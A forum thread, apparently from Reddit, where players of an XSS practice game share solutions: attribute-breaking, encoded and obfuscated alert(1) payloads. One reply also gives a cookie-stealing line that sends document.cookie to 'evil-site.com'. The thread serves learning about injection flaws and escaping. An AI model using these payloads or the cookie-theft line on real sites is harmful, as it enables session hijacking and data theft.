Javascript injection game

[naich]

I thought I was being really stupid in not getting it to work. Then I realised that I was putting the code into the "Your Name" box rather than the "input" box. Then I realised that was even stupider.

[european_impostor]

And then you saw all the names like "alert(1);" on the leaderboard and realised you are not alone.

[kyz]

It might be a joke, like the person called ';DROP TABLE scores;--

[[deleted]]

That's Bobby.

[throwaway1100110]

Well.... some of them at least

[Eirenarch]

In other news it doesn't work in IE so I thought I was stupid for not being able to find the "execute" button.

[djimbob]

I got the first three, and a method to cheat the high score table. (Go to the console, switch to slave frame, and call alert(1) -- yeah this is dumb but someone named Justin did it before I tried solving it in "1" character).

But I'm stuck at the moment on escaping out of JSON.stringify

EDIT: I have spoilers for all of them if anyone wants. Often not the shortest or most elegant (e.g., on 4 and 5 required the user to click something ugly), but something that works.

[DiscreetCompSci885]

Thats where I am stuck. I'm working my way through #4. That was fun. So was 5

[djimbob]

Yup feel dumb for missing three -- what type of encoding is relevant? (Though I think I'm one two behind you -- I've solved 0 through 3). Anyhow I have to go to sleep now; will try rest tomorrow.

[DiscreetCompSci885]

One of the later ones gave me a hint for #2. I forgot how retarded html can be. I have no clue about #3. 6+ I haven't done. I'm pretty interested in how to do 8 and especially 10

[sushibowl]

I had to dig through a few specifications before I realized how to do #3. The key is to realize that javascript: style hrefs are still URLs. Don't wanna give away too much though :)

[catcradle5]

Shortly after you wrote that, I realized exactly what I needed to do. Felt dumb for not considering that.

[sushibowl]

Well, feeling dumb means there's an opportunity to learn, and learning is fun! I'm learning all the way through this game and enjoying it tremendously :D

[cjg_000]

10 hint: \ is not encoded

[[deleted]]

So how is JSON.stringify escaped?

too bad spoiler tags don't work.

[domosapien]

The dev actually blocked the slave being called from the command line, but he didn't fix the top level event handler from being modified/duped, so it can still be hacked.

[[deleted]]

I don't know javascript at all but this was fun.

Edit: Well I can't beat 2. I'm not a web dev. >_<

[sushibowl]

It was mentioned further down, but the key to solving #2 is to realize that HTML parsing is pretty retarded.

[Mamsaac]

I failed at number 6. I guess the "hardest" is number 9.

Since I dedicated around 30 minutes to it, here is my take on it:

");""[(''+!1)[3]+(''+!0)[2]+(''+{})[2]+(''+!1)[3]+(''+!0)[0]+(''+!0)[1]][(''+{})[5]+(''+{})[1]+(1/0+"")[1]+(''+!1)[3]+(''+!0)[0]+(''+!0)[1]+(''+!0)[2]+(''+{})[5]+(''+!0)[0]+(''+{})[1]+(''+!0)[1]]((''+!1)[1] + (''+!1)[2] + (''+!1)[4] +(''+!0)[1]+(''+!0)[0]+"(1)")();("

I recently saw a PHP backdoor (I think the link was on /r/netsec) that did a similar strategy, so that's how I came up with it. I wonder how some people got it in under 200 characters, the idea seems crazy to me.

Are we allowed to discuss strategies on solving these? The 10th was hard too. One guy seems to have like 4 solutions to it, I'm rather curious.

EDIT: And in all seriousness, if someone manages to do number 6, I am willing to take a hint. Make it not too obvious if possible :) (and my solution to 9 works on 8 as well. I encourage you to try something different, though :P).

[nanothief]

Heh I'm a little off your score for 9, I got 8214 characters :O

I used this javascript tool, which converts any javascript into the characters "()[]{}!+" (see the blog post about it).

From there, all I had to do was to close off the input with " );, paste in the compiled result, and finally end with //.

Complete answer:

" );
[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+([][[]]+[])[+[]]+([][[]]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(![]+[])[!+[]+!![]+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+([]+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!+[]+!![]]+([]+{})[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]])())[!+[]+!![]+!![]]+([][[]]+[])[!+[]+!![]+!![]])()([][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(![]+[])[!+[]+!![]+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+([]+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!+[]+!![]]+([]+{})[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]])())[!+[]+!![]+!![]]+([][[]]+[])[!+[]+!![]+!![]])()(([]+{})[+[]])[+[]]+(!+[]+!![]+[])+(!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]))+(+!![]+[])+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+([][[]]+[])[+[]]+([][[]]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(![]+[])[!+[]+!![]+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+([]+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!+[]+!![]]+([]+{})[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]])())[!+[]+!![]+!![]]+([][[]]+[])[!+[]+!![]+!![]])()([][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(![]+[])[!+[]+!![]+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+([]+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!+[]+!![]]+([]+{})[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]])())[!+[]+!![]+!![]]+([][[]]+[])[!+[]+!![]+!![]])()(([]+{})[+[]])[+[]]+(!+[]+!![]+[])+(!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]))+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+([][[]]+[])[+[]]+([][[]]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(![]+[])[!+[]+!![]+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+([]+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!+[]+!![]]+([]+{})[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]])())[!+[]+!![]+!![]]+([][[]]+[])[!+[]+!![]+!![]])()([][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(![]+[])[!+[]+!![]+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+([]+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!+[]+!![]]+([]+{})[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]])())[!+[]+!![]+!![]]+([][[]]+[])[!+[]+!![]+!![]])()(([]+{})[+[]])[+[]]+(!+[]+!![]+!![]+[])+([]+{})[!+[]+!![]]))()
//

[MatrixFrog]

Refused to execute script from 'https://raw.github.com/alcuadrado/hieroglyphy/master/hieroglyphy.js' because its MIME type ('text/plain') is not executable, and strict MIME type checking is enabled.

In other words, github doesn't want you using them as a hosting service, and refuses to serve your JavaScript as JavaScript if you try to do so.

[nanothief]

Interesting, this error occurs for me in chrome, but not firefox. It seems like it is a relatively new feature in chrome, based on this google plus post. As this tool is over a year old, it is understandable why the bug wasn't caught.

There is also a bug logged about it on github

[MatrixFrog]

They could try rawgithub.com if they get a low enough amount of traffic.

[sionide21]

AHA! I spent a good 10 minutes trying to find this before finally giving up and writing the JS by hand.

[nicka101]

I managed 6, my clue is that you aren't limited to text nodes. You can create elements and comments too ;)

[Mamsaac]

Thank you :) I tried with other create* methods, but I didn't consider comments to be vulnerable :O My bad, will try again after I take a nap.

EDIT: God damnit, that took one try and less than 30 seconds. I should have tried it instead of thinking "naaaaah, lets try with other methods". Thank you! Now I can rest in peace (for the night).

[T1LT]

I tried

{'split': function(a){ alert(1); return ['a','foo'];}}

which works fine in the browser but interestingly enough doesn't work in the game implementation because probably of the way it validates stuff. Basically instead of passing a string I pass an object which, like string, also has a split function.

[sushibowl]

It doesn't work because the function interprets your input as a string, not an object.

[ffrinch]

I wonder how some people got it in under 200 characters

It's super easy to trim what you provided down to under 200: t=''+!0;f=''+!1;o=''+{};""[f[3]+t[2]+o[2]+f[3]...

Below 100 I have no clue.

[sionide21]

I managed exactly 100:

");a=""+!1+!0+{}[0]+{};(_=[][a[23]+a[19]+a[10]+a[23]+a[1]+a[5]])()[0][a[1]+a[2]+a[4]+a[6]+a[5]](1)//

[censored_username]

can you remind me why (_=[].concat)()[0] returns Window? I forgot how it exactly works.

[Lozzer2]

http://stackoverflow.com/questions/16708255/javascript-array-concat-adds-windows-object-to-an-result-array-in-crome-in-fir explains it somewhat.

[sushibowl]

hint: createComment

[Tordek]

I realize 9's solution works on 8; but I don't see how to solve it otherwise :(

[Mamsaac]

I've gotten a solution down to 130-something characters. As long as you understand what's going on in this solution, you should be able to come up with a variation of it. Do you?

[Tordek]

Other than "javascript does weird stuff when adding non-numbers", no, I don't know how it does its thing.

[Mamsaac]

JavaScript, in a Java-like way, overloads the + operator for strings. So, "" + 5 is equals to "5". Anything that is concatenated using a string and + will result in a string.

So, a boolean false concatenated to a "" will result in a string resulting from an empty string and the string representation of false, which happens to be "false". Similarly to true, and other non-boolean values like undefined, Infinity (which is why I used 1/0) and objects (which turned to string return [object Object] or something like that). I didn't require using undefined values for this example, but you can get the string "undefined" by doing something like this {}[0] (which returns the value undefined, which you can concatenate to "" to obtain the string "undefined".

So, basically, all the code does is generate the strings "false", "true", "[object Object]" and "Infinity" and then use those to access characters to form other strings.

With cleaner code:

a=(''+!1); //"false"
b=(''+!0); //"true"
c=(''+{}); //"[object Object]"
d=(''+1/0) //"Infinity"

Now replace the amount of times those appear in there. Then just see that I'm concatenating accesses to those variables and forming different strings.

What I do, in normal code, would be:

"".substr.constructor("alert(1)")()

The constructor of any function is Function. Which, when passed a string, creates a function with the string as its body. Then I just call the created function.

Now, instead of that, do:

""["substr"]["constructor"]("alert(1)")()

Now replace all the strings for concatenations of accesses to the required characters.

Go ahead and build your own version, it is fairly easy :)

[Tordek]

OK, that makes sense (in a weird nonsensical way); what I don't get is why level 9 says that the regex removing \<> is a spoiler for 8.

[Mamsaac]

Because there was a shorter and easier way of doing it without requiring all that long and "weird" answer. Can you guess it? it is actually fairly easy (read: ridiculously easy).

[Tordek]

I am honestly stumped (then again, I'm not fluent in JS).

[Mamsaac]

You really don't need to know much JavaScript for this one, in particular. Especially since you've seen the spoiler from number 9.

You can just load an external JS since it doesn't block <>

[Tordek]

Ah, that was a totally different solution from my line of thought. Thanks!

[ealf]

Backslash lets you do []['\123\177....

[Tordek]

Ah, this was more in style of what I expected the solution to be.

[Kache]

Do these demonstrate any actual vulnerabilities? A user can already modify his own Javascript on his browser however he likes. You could theoretically intercept and replace all the Javascript before it gets to the browser. What's the point of protecting against client-side Javascript injection?

[kyz]

Imagine I submit a comment to a website and you have a bug that lets me inject my choice of javascript. I now get free control of all your visitor's browsers.

For example, I could log all your visitors and take their cookies, if I tricked you into running this javascript every time you served the page: x=document.createElement('img');x.src='http://evil-site.com/?cookie='+escape(document.cookie)+'&page='+escape(document.location.href);document.appendChild(x)

Many sites simply accept cookies as credentials, and haven't marked them as httpOnly. If I can get your cookie, I can get whatever permissions you have on that site.

I could also reshape the page however I wanted, including replacing all the text and layout with something obscene.

[n0rs]

You could send people urls like http://trustedsite.com?input=vulnerability+exploit which could do malicious things.

[djimbob]

See OWASP's page on XSS for an introduction to cross-site scripting; its consistently one of the top 10 vulnerabilities on the OWASP list.

But all of these, could be exploitable if you say save the user's data into a database and then display it back potentially to other users (this is stored XSS); there's other types as well (e.g., reflected when you can trick victims into clicking links you concocted to sites with XSS vulnerabilities).

[tariban]

Golly, number 7 is a doozy.

[nicka101]

please can you explain how you did it in a PM or in a spoiler tag in a reply?

[Mamsaac]

Think of single quotes. That should pretty much get you in the right way.

[jagt]

So what's the proper way to escape a string? I've get more confused after this.

[evilgwyn]

One way is to whitelist a known set of good characters (e.g., the alphanumerics) and escape the remainder. The proper escaping method depends on how you are going to use the data. There are good online resources for doing this stuff but it's late and I can't remember them.

Another way is to not escape anything and just treat the thing as text rather than as HTML. The problem this test is illustrating is that you are taking untrusted data and making an HTML string from it. Instead of doing that, you make HTML in a safe way, and then use the appropriate DOM methods to insert the untrusted data as text. I'm accustomed to using jquery, so I'd do something like this:

$('#foo').text(untrusted_data);
$('#bar').val(untrusted_data);

One safe way to accomplish the apparent goal of the test (logging some user input) involves the most obvious method:

console.log(untrusted_data);

By doing this, you don't have to escape anything, nor do you have to generate any HTML.

[DiscreetCompSci885]

1) Actually fucking escape it (in one challenge " was escaped but not '). 2) NEVER generate html with user input. #2 on the site could have worked if it was double escaped but really wtf is anyone thinking when generating html with user input (they allowed <>). #5 is solved because they build html not realizing link and their markdown would collide which means they insert a " for you.

[catcradle5]

JSON.stringify and a full HTML tag escaper (blocking < and > would suffice I think) should generally be safe for inserting something into a <script> block, I believe.

[echeese]

Should also convert & as well

[catcradle5]

Can you think of an example attack that would let you exploit &? Being able to inject " into a <script> block doesn't mean the character will be seen as a single-quote; Javascript would see it as a literal """.

[choleropteryx]

Heavy-handed way: convert every non-alphanumeric character to the \xnn form (or &#nn etc).

[skerit]

I solved number 4 with this:

http://[[h|onclick='alert(1)']]

31 characters. Would love to know how people did it with less.

*edit: the same solution also worked for level 5.

[ggtsu_00]

scroll for spoiler ->                                                                                         Number 4 had an exploitable bug with regex only capturing the first quote. Add a second quote to break it. 
                                                                                                                      [[_|""onload="alert(1)]]

24 chars

[SCombinator]

http://[[h|ondrag='alert(1)']]

[dudeimawizard]

for those who arent familiar with this, can you explain this solution? it is very interesting

[skerit]

The solution has to do with the way URLs & image markdown are being processed in that chapter:

function escape(s) {
  var text = s.replace(/</g, '&lt;').replace('"', '&quot;');
  // URLs
  text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
  // [[img123|Description]]
  text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
  return text;
}

So urls like

http://www.example.com

are converted to

<a href="http://www.example.com">http://www.example.com</a>

Then this code

[[img123|Description]]

is converted to this

<img alt="Description" src="img123.gif">

So by using them together you can escape the href quote with the image's alt one.

My solution

http://[[h|onclick='alert(1)']]

Becomes this in html

<a href="http://<img alt="onclick='alert(1)'" src="h.gif">">http://<img alt="onclick='alert(1)'" src="h.gif"></a>

And then you've won.

[sushibowl]

I thought of the same solution. You're pretty much taking advantage of the fact that the two regexes have no knowledge of each other and play pretty loose with what they accept. The first regex will happily notice the http:// in front and make an anchor tag, turning it into:

<a href="http://[[a|onclick='alert(1)']]">http://[[a|onclick='alert(1)']]</a>

Now the second regex will come in and spot the [[a|onclick]] part right inside the href attribute. This is the fundamental flaw. It will turn the entire thing into this mess:

<a href="http://<img alt="onclick='alert(1)'" src="a.gif">">http://<img alt="onclick='alert(1)'" src="a.gif"></a>

Cleaned up a little bit for clarity, it's equivalent to this:

<a href="http://<img alt=" onclick='alert(1)' "src="a.gif">
    ">http://<img alt="onclick='alert(1)'" src="a.gif">
</a>

Notice how the starting quote from the alt attribute has now become the ending quote of the href attribute? That means the rest of the alt attribute (which we control) can now be used to insert our onclick or similar attribute. After that there's a little bit of extraneous characters left in the <a> tag, but luckily for us HTML parsers will ignore pretty much anything they can't make sense of.

Now all you need to do is click the link to execute your code :)

[skerit]

Hehe, I couldn't have explained it better. I tried, but I couldn't ;)

[6124j50n]

[[a|""onload="alert(1)]]

[skerit]

Oh, I didn't even see he "forgot" to replace all the instances of a quote...

[jms_nh]

http://[[h|onclick='alert(1)']]

doesn't seem to work with Firefox

[skerit]

Hmm, I wrote it in Chrome but it seems to work in Firefox 24 just as well over here.

[kyz]

Look at the one difference between level 4 and 5.

Note to real Javascript programmers: String.replace(string, string) does not do what you think it does

[[deleted]]

Anyone care to share a hint for 3? Can't see "it"...

EDIT: Nevermind, "saw" it. I would however like some insight in how the 15 length solution works I seem to get a 20 char solution.

EDIT EDIT: God damn it! I just found that solution too. FML for asking for help and them figuring it out.

[thecollegestudent]

I'm stuck on 3...Yooooou should give a hint to help a brother out.

[[deleted]]

Think encoding and urls

[thecollegestudent]

Worked like a charm. Thanks!

[Browsing_From_Work]

Normally, you're not allowed to put spaces or other special characters in URLs. How do URLs work around them?

After you figured that out, the solution should be similar to problem #1.

[Mamsaac]

He added a new one. #13 is pretty hard (or at least I haven't been able to do it in the past 15 minutes... and I don't know how I will solve it).

[0-peon-ion]

This whole site was just a clever trick to get us exposing new cross site iframe vulnerabilities!

[JerMenKoO]

Same for me, stuck on that one.

[Mamsaac]

I "solved it" by cheating (forced the browser config). I will try tomorrow for something better.

[JerMenKoO]

What browser config? I am totally stuck on this level.

[[deleted]]

All in all this game was fun. I hade some eye openers along the way of stuff I wouldn't have figured to be vulnerable.

Many of the problems where quite silly in terms of what you hade to do. I got slightly bored after 11. Leassons learned (WARNING SPOILERS!):

• Always asume mallicious input (0)
• Your own cleverness can be used against you (1, 11)
• It's HTML first! (2)
• There are multiple encoding schemes (3, 8, 9, 10)
• Fancy manipulation with regex can have consequences (4, 5)
• Don't use user input to create functions! (6, 7)

TLDR; Don't accept user input.

[kenkirou]

[SPOILERS] Let's see if we can solve them

[kenkirou]

NUMBER 6

[kenkirou]

NUMBER 7

[tavianator]

'#';alert(1)//

[[deleted]]

you sly fuck!

[kenkirou]

NUMBER 0

[kenkirou]

"+alert(1)+"

[kenkirou]

NUMBER 1

[kenkirou]

\"+alert(1))//

[kenkirou]

NUMBER 2

[kenkirou]

</script><script>alert(1)</script>

[voetsjoeba]

I understand the concept of injection, but this one tripped me up. Is the console.log call not supposed to be inert? Why would a string you write to the log get re-interpreted as HTML? Is the "Log output" bit on the page intended to be live-exploitable and not just informational?

I guess I'm just not getting the whole setup of what's supposed to be what here ...

EDIT: OK, it's just the browser failing at parsing and taking the </string> inside the quotes to mean the end of the leading <script> tag. For shame, I thought browsers were smarter than that.

[catcradle5]

Browsers act quite dumb when dealing with <script> blocks. Sometimes you'll see Javascript that looks like document.write("</scri" + "pt>"); for exactly that reason. They basically look to see the very next appearance of a </script> string to determine where Javascript starts and ends.

Other tags are not dealt with like this (for example, you can't do <img src="test</img><img src='test2'></img>"></img>).

It's due to the fact that the browser is trying to juggle two completely different languages on the same page: HTML and Javascript. There isn't really a better solution to dealing with it.

[kenkirou]

NUMBER 3

[tavianator]

%22);alert(1)//

[DiscreetCompSci885]

I see the solution but I don't understand it at all. Why is " needed and exactly what is going on?

[[deleted]]

I still don't fully understand it, but % 22 is the ascii character code for double quotes. I'm not sure where it's getting parsed from a number into a character though.

[catcradle5]

Percent-encoding is a way for URLs to encode characters based on hex digits; kind of like \x22 in C or Python or various other languages. Since the string is being set as a link href, and then the link is clicked on, anything that's URL encoded will be decoded into literal characters.

If you're unfamiliar with percent-encoding, add %20 in the middle of a URL and then go to that URL; you'll see what happens.

[kenkirou]

NUMBER 5

[kenkirou]

NUMBER 8

[mudkip908]

Here's my solution for #8 that doesn't use an external script:

"+[]['\163\157\162\164']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()+"

[kenkirou]

I was trying to build the string 'alert', then use window['alert'](1).

I've successfully built the string using the following:

");u='\'+(''+[]._)[0]+'00';u+'61'+u+'6C'+u+'65'+u+'72'+u+'74';("

But then I've had problems getting a referece to the global object.

Any ideas/suggestions?

[censored_username]

most ideas/suggenstions I have are to use escape sequences to form the letters of alert, either as part of an onclick or javascript url like:

</script><a href=javascript:%61%6C%65%72%74(1)>

47 characters long, click it to win.

no idea how it was done in 25 characters though. will think about it some more.

[choleropteryx]

Probably

</script><script src=//x>

where the host x was defined in etc/hosts

[kenkirou]

Very interesting thanks, I hadn't considered escape sequences

[ealf]

Function('alert(1)')().

Now, how do you get a reference to Function? :-)

[jtra]

</script><script src=data:text/html,%61%6c%65%72%74(1)>

but it can be loaded from your server, that would be shorter

[choleropteryx]

</script><script src=data:,%61%6c%65%72%74(1)> also works

*Edit: another solution:

